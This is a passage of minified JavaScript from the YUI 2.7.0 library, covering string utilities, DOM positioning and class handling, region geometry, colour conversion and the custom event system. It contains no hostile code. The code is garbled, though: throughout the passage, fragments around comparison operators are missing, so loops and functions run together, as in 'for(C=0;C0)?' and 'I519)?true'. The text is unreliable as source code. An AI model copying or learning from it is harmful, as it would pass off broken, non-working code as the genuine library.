A=arguments,E=null,C,B,D;for(C=0;C0)?B.dump(G[I],L-1):O);}else{N.push(G[I]);}N.push(M);}if(N.length>1){N.pop();}N.push("]");}else{N.push("{");for(I in G){if(B.hasOwnProperty(G,I)){N.push(I+J);if(B.isObject(G[I])){N.push((L>0)?B.dump(G[I],L-1):O);}else{N.push(G[I]);}N.push(M);}}if(N.length>1){N.pop();}N.push("}");}return N.join("");},substitute:function(V,H,O){var L,K,J,R,S,U,Q=[],I,M="dump",P=" ",G="{",T="}",N;for(;;){L=V.lastIndexOf(G);if(L<0){break;}K=V.indexOf(T,L);if(L+1>=K){break;}I=V.substring(L+1,K);R=I;U=null;J=R.indexOf(P);if(J>-1){U=R.substring(J+1);R=R.substring(0,J);}S=H[R];if(O){S=O(R,S,U);}if(B.isObject(S)){if(B.isArray(S)){S=B.dump(S,parseInt(U,10));}else{U=U||"";N=U.indexOf(M);if(N>-1){U=U.substring(4);}if(S.toString===A.toString||N>-1){S=B.dump(S,parseInt(U,10));}else{S=S.toString();}}}else{if(!B.isString(S)&&!B.isNumber(S)){S="~-"+Q.length+"-~";Q[Q.length]=I;}}V=V.substring(0,L)+S+V.substring(K+1);}for(L=Q.length-1;L>=0;L=L-1){V=V.replace(new RegExp("~-"+L+"-~"),"{"+Q[L]+"}","g");}return V;},trim:function(G){try{return G.replace(/^\s+|\s+$/g,"");}catch(H){return G;}},merge:function(){var J={},H=arguments,G=H.length,I;for(I=0;I519)?true:false);while((G=G[u])){z[0]+=G[b];z[1]+=G[P];if(AC){z=E.Dom._calcBorders(G,z);}}if(E.Dom._getStyle(y,p)!==f){G=y;while((G=G[Z])&&G[C]){AA=G[i];AB=G[O];if(H&&(E.Dom._getStyle(G,"overflow")!=="visible")){z=E.Dom._calcBorders(G,z);}if(AA||AB){z[0]-=AB;z[1]-=AA;}}z[0]+=x;z[1]+=Y;}else{if(D){z[0]-=x;z[1]-=Y;}else{if(I||H){z[0]+=x;z[1]+=Y;}}}z[0]=Math.floor(z[0]);z[1]=Math.floor(z[1]);}else{}return z;};}}(),getX:function(G){var Y=function(x){return E.Dom.getXY(x)[0];};return E.Dom.batch(G,Y,E.Dom,true);},getY:function(G){var Y=function(x){return E.Dom.getXY(x)[1];};return E.Dom.batch(G,Y,E.Dom,true);},setXY:function(G,x,Y){E.Dom.batch(G,E.Dom._setXY,{pos:x,noRetry:Y});},_setXY:function(G,z){var AA=E.Dom._getStyle(G,p),y=E.Dom.setStyle,AD=z.pos,Y=z.noRetry,AB=[parseInt(E.Dom.getComputedStyle(G,j),10),parseInt(E.Dom.getComputedStyle(G,o),10)],AC,x;if(AA=="static"){AA=V;y(G,p,AA);}AC=E.Dom._getXY(G);if(!AD||AC===false){return false;}if(isNaN(AB[0])){AB[0]=(AA==V)?0:G[b];}if(isNaN(AB[1])){AB[1]=(AA==V)?0:G[P];}if(AD[0]!==null){y(G,j,AD[0]-AC[0]+AB[0]+"px");}if(AD[1]!==null){y(G,o,AD[1]-AC[1]+AB[1]+"px");}if(!Y){x=E.Dom._getXY(G);if((AD[0]!==null&&x[0]!=AD[0])||(AD[1]!==null&&x[1]!=AD[1])){E.Dom._setXY(G,{pos:AD,noRetry:true});}}},setX:function(Y,G){E.Dom.setXY(Y,[G,null]);},setY:function(G,Y){E.Dom.setXY(G,[null,Y]);},getRegion:function(G){var Y=function(x){var y=false;if(E.Dom._canPosition(x)){y=E.Region.getRegion(x);}else{}return y;};return E.Dom.batch(G,Y,E.Dom,true);},getClientWidth:function(){return E.Dom.getViewportWidth();},getClientHeight:function(){return E.Dom.getViewportHeight();},getElementsByClassName:function(AB,AF,AC,AE,x,AD){AB=L.trim(AB);AF=AF||"*";AC=(AC)?E.Dom.get(AC):null||K;if(!AC){return[];}var Y=[],G=AC.getElementsByTagName(AF),z=E.Dom.hasClass;for(var y=0,AA=G.length;y-1;}}else{}return G;},addClass:function(Y,G){return E.Dom.batch(Y,E.Dom._addClass,G);},_addClass:function(x,Y){var G=false,y;if(x&&Y){y=E.Dom.getAttribute(x,F)||J;if(!E.Dom._hasClass(x,Y)){E.Dom.setAttribute(x,F,A(y+B+Y));G=true;}}else{}return G;},removeClass:function(Y,G){return E.Dom.batch(Y,E.Dom._removeClass,G);},_removeClass:function(y,x){var Y=false,AA,z,G;if(y&&x){AA=E.Dom.getAttribute(y,F)||J;E.Dom.setAttribute(y,F,AA.replace(E.Dom._getClassRegex(x),J));z=E.Dom.getAttribute(y,F);if(AA!==z){E.Dom.setAttribute(y,F,A(z));Y=true;if(E.Dom.getAttribute(y,F)===""){G=(y.hasAttribute&&y.hasAttribute(g))?g:F;y.removeAttribute(G);}}}else{}return Y;},replaceClass:function(x,Y,G){return E.Dom.batch(x,E.Dom._replaceClass,{from:Y,to:G}); +},_replaceClass:function(y,x){var Y,AB,AA,G=false,z;if(y&&x){AB=x.from;AA=x.to;if(!AA){G=false;}else{if(!AB){G=E.Dom._addClass(y,x.to);}else{if(AB!==AA){z=E.Dom.getAttribute(y,F)||J;Y=(B+z.replace(E.Dom._getClassRegex(AB),B+AA)).split(E.Dom._getClassRegex(AA));Y.splice(1,0,B+AA);E.Dom.setAttribute(y,F,A(Y.join(J)));G=true;}}}}else{}return G;},generateId:function(G,x){x=x||"yui-gen";var Y=function(y){if(y&&y.id){return y.id;}var z=x+YAHOO.env._id_counter++;if(y){if(y[e].getElementById(z)){return E.Dom.generateId(y,z+x);}y.id=z;}return z;};return E.Dom.batch(G,Y,E.Dom,true)||Y.apply(E.Dom,arguments);},isAncestor:function(Y,x){Y=E.Dom.get(Y);x=E.Dom.get(x);var G=false;if((Y&&x)&&(Y[l]&&x[l])){if(Y.contains&&Y!==x){G=Y.contains(x);}else{if(Y.compareDocumentPosition){G=!!(Y.compareDocumentPosition(x)&16);}}}else{}return G;},inDocument:function(G,Y){return E.Dom._inDoc(E.Dom.get(G),Y);},_inDoc:function(Y,x){var G=false;if(Y&&Y[C]){x=x||Y[e];G=E.Dom.isAncestor(x[v],Y);}else{}return G;},getElementsBy:function(Y,AF,AB,AD,y,AC,AE){AF=AF||"*";AB=(AB)?E.Dom.get(AB):null||K;if(!AB){return[];}var x=[],G=AB.getElementsByTagName(AF);for(var z=0,AA=G.length;z=this.left&&A.right<=this.right&&A.top>=this.top&&A.bottom<=this.bottom);};YAHOO.util.Region.prototype.getArea=function(){return((this.bottom-this.top)*(this.right-this.left));};YAHOO.util.Region.prototype.intersect=function(E){var C=Math.max(this.top,E.top),D=Math.min(this.right,E.right),A=Math.min(this.bottom,E.bottom),B=Math.max(this.left,E.left);if(A>=C&&D>=B){return new YAHOO.util.Region(C,D,A,B); +}else{return null;}};YAHOO.util.Region.prototype.union=function(E){var C=Math.min(this.top,E.top),D=Math.max(this.right,E.right),A=Math.max(this.bottom,E.bottom),B=Math.min(this.left,E.left);return new YAHOO.util.Region(C,D,A,B);};YAHOO.util.Region.prototype.toString=function(){return("Region {"+"top: "+this.top+", right: "+this.right+", bottom: "+this.bottom+", left: "+this.left+", height: "+this.height+", width: "+this.width+"}");};YAHOO.util.Region.getRegion=function(D){var F=YAHOO.util.Dom.getXY(D),C=F[1],E=F[0]+D.offsetWidth,A=F[1]+D.offsetHeight,B=F[0];return new YAHOO.util.Region(C,E,A,B);};YAHOO.util.Point=function(A,B){if(YAHOO.lang.isArray(A)){B=A[1];A=A[0];}YAHOO.util.Point.superclass.constructor.call(this,B,A,B,A);};YAHOO.extend(YAHOO.util.Point,YAHOO.util.Region);(function(){var B=YAHOO.util,A="clientTop",F="clientLeft",J="parentNode",K="right",W="hasLayout",I="px",U="opacity",L="auto",D="borderLeftWidth",G="borderTopWidth",P="borderRightWidth",V="borderBottomWidth",S="visible",Q="transparent",N="height",E="width",H="style",T="currentStyle",R=/^width|height$/,O=/^(\d[.\d]*)+(em|ex|px|gd|rem|vw|vh|vm|ch|mm|cm|in|pt|pc|deg|rad|ms|s|hz|khz|%){1}?/i,M={get:function(X,Z){var Y="",a=X[T][Z];if(Z===U){Y=B.Dom.getStyle(X,U);}else{if(!a||(a.indexOf&&a.indexOf(I)>-1)){Y=a;}else{if(B.Dom.IE_COMPUTED[Z]){Y=B.Dom.IE_COMPUTED[Z](X,Z);}else{if(O.test(a)){Y=B.Dom.IE.ComputedStyle.getPixel(X,Z);}else{Y=a;}}}}return Y;},getOffset:function(Z,e){var b=Z[T][e],X=e.charAt(0).toUpperCase()+e.substr(1),c="offset"+X,Y="pixel"+X,a="",d;if(b==L){d=Z[c];if(d===undefined){a=0;}a=d;if(R.test(e)){Z[H][e]=d;if(Z[c]>d){a=d-(Z[c]-d);}Z[H][e]=L;}}else{if(!Z[H][Y]&&!Z[H][e]){Z[H][e]=b;}a=Z[H][Y];}return a+I;},getBorderWidth:function(X,Z){var Y=null;if(!X[T][W]){X[H].zoom=1;}switch(Z){case G:Y=X[A];break;case V:Y=X.offsetHeight-X.clientHeight-X[A];break;case D:Y=X[F];break;case P:Y=X.offsetWidth-X.clientWidth-X[F];break;}return Y+I;},getPixel:function(Y,X){var a=null,b=Y[T][K],Z=Y[T][X];Y[H][K]=Z;a=Y[H].pixelRight;Y[H][K]=b;return a+I;},getMargin:function(Y,X){var Z;if(Y[T][X]==L){Z=0+I;}else{Z=B.Dom.IE.ComputedStyle.getPixel(Y,X);}return Z;},getVisibility:function(Y,X){var Z;while((Z=Y[T])&&Z[X]=="inherit"){Y=Y[J];}return(Z)?Z[X]:S;},getColor:function(Y,X){return B.Dom.Color.toRGB(Y[T][X])||Q;},getBorderColor:function(Y,X){var Z=Y[T],a=Z[X]||Z.color;return B.Dom.Color.toRGB(B.Dom.Color.toHex(a));}},C={};C.top=C.right=C.bottom=C.left=C[E]=C[N]=M.getOffset;C.color=M.getColor;C[G]=C[P]=C[V]=C[D]=M.getBorderWidth;C.marginTop=C.marginRight=C.marginBottom=C.marginLeft=M.getMargin;C.visibility=M.getVisibility;C.borderColor=C.borderTopColor=C.borderRightColor=C.borderBottomColor=C.borderLeftColor=M.getBorderColor;B.Dom.IE_COMPUTED=C;B.Dom.IE_ComputedStyle=M;})();(function(){var C="toString",A=parseInt,B=RegExp,D=YAHOO.util;D.Dom.Color={KEYWORDS:{black:"000",silver:"c0c0c0",gray:"808080",white:"fff",maroon:"800000",red:"f00",purple:"800080",fuchsia:"f0f",green:"008000",lime:"0f0",olive:"808000",yellow:"ff0",navy:"000080",blue:"00f",teal:"008080",aqua:"0ff"},re_RGB:/^rgb\(([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\)$/i,re_hex:/^#?([0-9A-F]{2})([0-9A-F]{2})([0-9A-F]{2})$/i,re_hex3:/([0-9A-F])/gi,toRGB:function(E){if(!D.Dom.Color.re_RGB.test(E)){E=D.Dom.Color.toHex(E);}if(D.Dom.Color.re_hex.exec(E)){E="rgb("+[A(B.$1,16),A(B.$2,16),A(B.$3,16)].join(", ")+")";}return E;},toHex:function(H){H=D.Dom.Color.KEYWORDS[H]||H;if(D.Dom.Color.re_RGB.exec(H)){var G=(B.$1.length===1)?"0"+B.$1:Number(B.$1),F=(B.$2.length===1)?"0"+B.$2:Number(B.$2),E=(B.$3.length===1)?"0"+B.$3:Number(B.$3);H=[G[C](16),F[C](16),E[C](16)].join("");}if(H.length<6){H=H.replace(D.Dom.Color.re_hex3,"$1$1");}if(H!=="transparent"&&H.indexOf("#")<0){H="#"+H;}return H.toLowerCase();}};}());YAHOO.register("dom",YAHOO.util.Dom,{version:"2.7.0",build:"1796"});YAHOO.util.CustomEvent=function(D,C,B,A){this.type=D;this.scope=C||window;this.silent=B;this.signature=A||YAHOO.util.CustomEvent.LIST;this.subscribers=[];if(!this.silent){}var E="_YUICEOnSubscribe";if(D!==E){this.subscribeEvent=new YAHOO.util.CustomEvent(E,this,true);}this.lastError=null;};YAHOO.util.CustomEvent.LIST=0;YAHOO.util.CustomEvent.FLAT=1;YAHOO.util.CustomEvent.prototype={subscribe:function(A,B,C){if(!A){throw new Error("Invalid callback for subscriber to '"+this.type+"'");}if(this.subscribeEvent){this.subscribeEvent.fire(A,B,C);}this.subscribers.push(new YAHOO.util.Subscriber(A,B,C));},unsubscribe:function(D,F){if(!D){return this.unsubscribeAll();}var E=false;for(var B=0,A=this.subscribers.length;B0){B=I[0];}try{G=M.fn.call(L,B,M.obj);}catch(F){this.lastError=F;if(A){throw F;}}}else{try{G=M.fn.call(L,this.type,I,M.obj);}catch(H){this.lastError=H;if(A){throw H;}}}if(false===G){if(!this.silent){}break;}}}return(G!==false);},unsubscribeAll:function(){var A=this.subscribers.length,B;for(B=A-1;B>-1;B--){this._delete(B);}this.subscribers=[];return A;},_delete:function(A){var B=this.subscribers[A];if(B){delete B.fn;delete B.obj;}this.subscribers.splice(A,1);},toString:function(){return"CustomEvent: "+"'"+this.type+"', "+"context: "+this.scope;}};YAHOO.util.Subscriber=function(A,B,C){this.fn=A;this.obj=YAHOO.lang.isUndefined(B)?null:B;this.overrideContext=C;};YAHOO.util.Subscriber.prototype.getScope=function(A){if(this.overrideContext){if(this.overrideContext===true){return this.obj;}else{return this.overrideContext;}}return A;};YAHOO.util.Subscriber.prototype.contains=function(A,B){if(B){return(this.fn==A&&this.obj==B);}else{return(this.fn==A);}};YAHOO.util.Subscriber.prototype.toString=function(){return"Subscriber { obj: "+this.obj+", overrideContext: "+(this.overrideContext||"no")+" }";};if(!YAHOO.util.Event){YAHOO.util.Event=function(){var H=false;var I=[];var J=[];var G=[];var E=[];var C=0;var F=[];var B=[];var A=0;var D={63232:38,63233:40,63234:37,63235:39,63276:33,63277:34,25:9};var K=YAHOO.env.ua.ie?"focusin":"focus";var L=YAHOO.env.ua.ie?"focusout":"blur";return{POLL_RETRYS:2000,POLL_INTERVAL:20,EL:0,TYPE:1,FN:2,WFN:3,UNLOAD_OBJ:3,ADJ_SCOPE:4,OBJ:5,OVERRIDE:6,lastError:null,isSafari:YAHOO.env.ua.webkit,webkit:YAHOO.env.ua.webkit,isIE:YAHOO.env.ua.ie,_interval:null,_dri:null,DOMReady:false,throwErrors:false,startInterval:function(){if(!this._interval){var M=this;var N=function(){M._tryPreloadAttach();};this._interval=setInterval(N,this.POLL_INTERVAL);}},onAvailable:function(S,O,Q,R,P){var M=(YAHOO.lang.isString(S))?[S]:S;for(var N=0;N-1;Q--){W=(this.removeListener(N[Q],M,V)&&W);}return W;}}if(!V||!V.call){return this.purgeElement(N,false,M);}if("unload"==M){for(Q=J.length-1;Q>-1;Q--){X=J[Q];if(X&&X[0]==N&&X[1]==M&&X[2]==V){J.splice(Q,1);return true;}}return false;}var R=null;var S=arguments[3];if("undefined"===typeof S){S=this._getCacheIndex(N,M,V);}if(S>=0){R=I[S];}if(!N||!R){return false;}if(this.useLegacyEvent(N,M)){var P=this.getLegacyIndex(N,M);var O=E[P];if(O){for(Q=0,T=O.length;Q0&&F.length>0);}var R=[];var T=function(V,W){var U=V;if(W.overrideContext){if(W.overrideContext===true){U=W.obj;}else{U=W.overrideContext;}}W.fn.call(U,W.obj);};var N,M,Q,P,O=[];for(N=0,M=F.length;N-1;N--){Q=F[N];if(!Q||!Q.id){F.splice(N,1);}}this.startInterval();}else{if(this._interval){clearInterval(this._interval);this._interval=null;}}this.locked=false;},purgeElement:function(Q,R,T){var O=(YAHOO.lang.isString(Q))?this.getEl(Q):Q;var S=this.getListeners(O,T),P,M;if(S){for(P=S.length-1;P>-1;P--){var N=S[P];this.removeListener(O,N.type,N.fn);}}if(R&&O&&O.childNodes){for(P=0,M=O.childNodes.length;P-1;P--){O=I[P];if(O){N.removeListener(O[N.EL],O[N.TYPE],O[N.FN],P);}}O=null;}G=null;N._simpleRemove(window,"unload",N._unload);},_getScrollLeft:function(){return this._getScroll()[1];},_getScrollTop:function(){return this._getScroll()[0];},_getScroll:function(){var M=document.documentElement,N=document.body;if(M&&(M.scrollTop||M.scrollLeft)){return[M.scrollTop,M.scrollLeft];}else{if(N){return[N.scrollTop,N.scrollLeft];}else{return[0,0];}}},regCE:function(){},_simpleAdd:function(){if(window.addEventListener){return function(O,P,N,M){O.addEventListener(P,N,(M));};}else{if(window.attachEvent){return function(O,P,N,M){O.attachEvent("on"+P,N);};}else{return function(){};}}}(),_simpleRemove:function(){if(window.removeEventListener){return function(O,P,N,M){O.removeEventListener(P,N,(M));};}else{if(window.detachEvent){return function(N,O,M){N.detachEvent("on"+O,M);};}else{return function(){};}}}()};}();(function(){var EU=YAHOO.util.Event;EU.on=EU.addListener;EU.onFocus=EU.addFocusListener;EU.onBlur=EU.addBlurListener; +/* DOMReady: based on work by: Dean Edwards/John Resig/Matthias Miller */ +if(EU.isIE){YAHOO.util.Event.onDOMReady(YAHOO.util.Event._tryPreloadAttach,YAHOO.util.Event,true);var n=document.createElement("p");EU._dri=setInterval(function(){try{n.doScroll("left");clearInterval(EU._dri);EU._dri=null;EU._ready();n=null;}catch(ex){}},EU.POLL_INTERVAL);}else{if(EU.webkit&&EU.webkit<525){EU._dri=setInterval(function(){var rs=document.readyState;if("loaded"==rs||"complete"==rs){clearInterval(EU._dri);EU._dri=null;EU._ready();}},EU.POLL_INTERVAL);}else{EU._simpleAdd(document,"DOMContentLoaded",EU._ready);}}EU._simpleAdd(window,"load",EU._load);EU._simpleAdd(window,"unload",EU._unload);EU._tryPreloadAttach();})();}YAHOO.util.EventProvider=function(){};YAHOO.util.EventProvider.prototype={__yui_events:null,__yui_subscribers:null,subscribe:function(A,C,F,E){this.__yui_events=this.__yui_events||{};var D=this.__yui_events[A];if(D){D.subscribe(C,F,E); +}else{this.__yui_subscribers=this.__yui_subscribers||{};var B=this.__yui_subscribers;if(!B[A]){B[A]=[];}B[A].push({fn:C,obj:F,overrideContext:E});}},unsubscribe:function(C,E,G){this.__yui_events=this.__yui_events||{};var A=this.__yui_events;if(C){var F=A[C];if(F){return F.unsubscribe(E,G);}}else{var B=true;for(var D in A){if(YAHOO.lang.hasOwnProperty(A,D)){B=B&&A[D].unsubscribe(E,G);}}return B;}return false;},unsubscribeAll:function(A){return this.unsubscribe(A);},createEvent:function(G,D){this.__yui_events=this.__yui_events||{};var A=D||{};var I=this.__yui_events;if(I[G]){}else{var H=A.scope||this;var E=(A.silent);var B=new YAHOO.util.CustomEvent(G,H,E,YAHOO.util.CustomEvent.FLAT);I[G]=B;if(A.onSubscribeCallback){B.subscribeEvent.subscribe(A.onSubscribeCallback);}this.__yui_subscribers=this.__yui_subscribers||{};var F=this.__yui_subscribers[G];if(F){for(var C=0;C